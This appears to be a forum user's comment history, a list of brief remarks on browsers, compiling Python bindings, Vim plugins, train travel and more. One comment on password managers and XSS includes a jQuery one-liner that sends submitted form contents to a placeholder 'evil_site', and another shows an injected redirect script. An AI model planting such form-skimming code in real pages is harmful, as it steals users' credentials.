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MindTwister
13y ago
What about changing it then... If I build a detonator using a soldering iron and spare parts from a radio, should I be banned from ever owning a soldering iron... or a radio
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MindTwister
13y ago
I'm not sure if you're trolling or not... but isn't that the point of the function in the first place...?
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MindTwister
13y ago
That only works until you hit 21, thats a multiple of 3 and you lose.
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MindTwister
13y ago
This is possibly due to the security requirements: https://developers.google.com/gmail/schemas/actions/securing...
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13y ago
For me its: 1. Click on chrome to see if the window responds 2. Click on enter to make sure any hidden modals are accepted 3. Alt+F4, die bastard die 4. Ctrl+Alt+Delete, kill it with fire
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13y ago
I recently went back to an old Java app to benchmark it against some new code. For small command line utilities the startup overhead can be massive compared to the actual running time of the program, even if the <insert algorithm> r
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Google groups is down
(groups.google.com)
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14y ago
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MindTwister
14y ago
This article is rather sparse on details.
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14y ago
Interesting article... this quote struck me a kind of weird though: "The mission, which (according to Federal Communications Commission (FCC) and the Special Subcommittee on Investigations of the House Commerce Committee) was financially s
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MindTwister
14y ago
Scenario: I want to install rvm I could download their install script, read it through and then proceed to run it or, Since I'm trusting rvm not to do any harm in the first place, I might as well use their handy one-liner and install it in
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14y ago
As far as I understand it, yes. The basic idea is that any requests that do not originate from the domain will not send the cookies, preventing CSRF, clickjacking and the advanced CSRF discussed here yesterday (from stackoverflow: http://s
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14y ago
So, PEP8 as a service... http://www.python.org/dev/peps/pep-0008/
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14y ago
Letting this rest for now, I'd like to hear if others have any success
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14y ago
Removing #define hypot _hypot from pyconfig.h (in my python include folder) got me to another hurdle function 'PyObject* boost::python::converter::do_return_to_python(char)' definition is marked dllimport I have no idea wh
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14y ago
I second that, NeoComplCache is just too slow, I had issues where it simply hung vim for 2-3 seconds every time I tried to complete something, completely negating any speedup I might get from completing.
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14y ago
I'm having some issues compiling it on windows at the moment, specifically when compiling BoostParts. Saying "::hypot has not been declared". I'll update if I get it to compile
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The solitaire encryption algorithm (1999)
(schneier.com)
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14y ago
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14y ago
The preview has been available for a couple of weeks: http://ie.microsoft.com/testdrive/Info/Downloads/Default.htm...
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14y ago
This is a non-story, if I'm able to execute script on your site I don't have to wait for the password manager... $('form').submit(function(){ $.get('evil_site' + $(this).serialize()) }); (Sorry for jQuery). But who cares... let the
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Dont call yourself a programmer (2011)
(kalzumeus.com)
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14y ago
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14y ago
I sometimes have a hard time trying to fathom all the regulations imposed on the teams. Can anyone shed some light on eg. the dangers of wing design?
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14y ago
I prefer to reserve a seat when traveling cross country, who wants to stand up in a train for 3+ hrs when I can sit down and read a book. In Denmark when I travel with my dog I'm actually required to reserve a seat for him and myself... mak
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14y ago
If you decide you want to wait for some kind of user input: $('#element').mouseover(function(){ window.location .... });
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14y ago
Why are you making it all so difficult <script> window.location = 'http://example.com'; </script> Redirected. Its not a bug, its a feature. What you should be worried about is what http://www.example.co
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14y ago
The balloon has a loop underneath, you then let 2 kids (A and B), hold a thread between them, take a second thread, feed it through the loop, once around the thread between A and B, back through the loop and hands the ends to kid C and D. I
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14y ago
In Denmark we have J-dag, where the christmas Tuborg beer is released. Its always on a Friday and you can be 100% sure that every bar, in every city is filled to the brim with people drinking the first christmas Tuborg of the season.
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14y ago
You\mean\travesty\obviously
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14y ago
...thats not design
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14y ago
They found out that they had unfiltered input, which is usually used for XSS.
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14y ago
Did anyone notice this little gem in the URL? /p/anic
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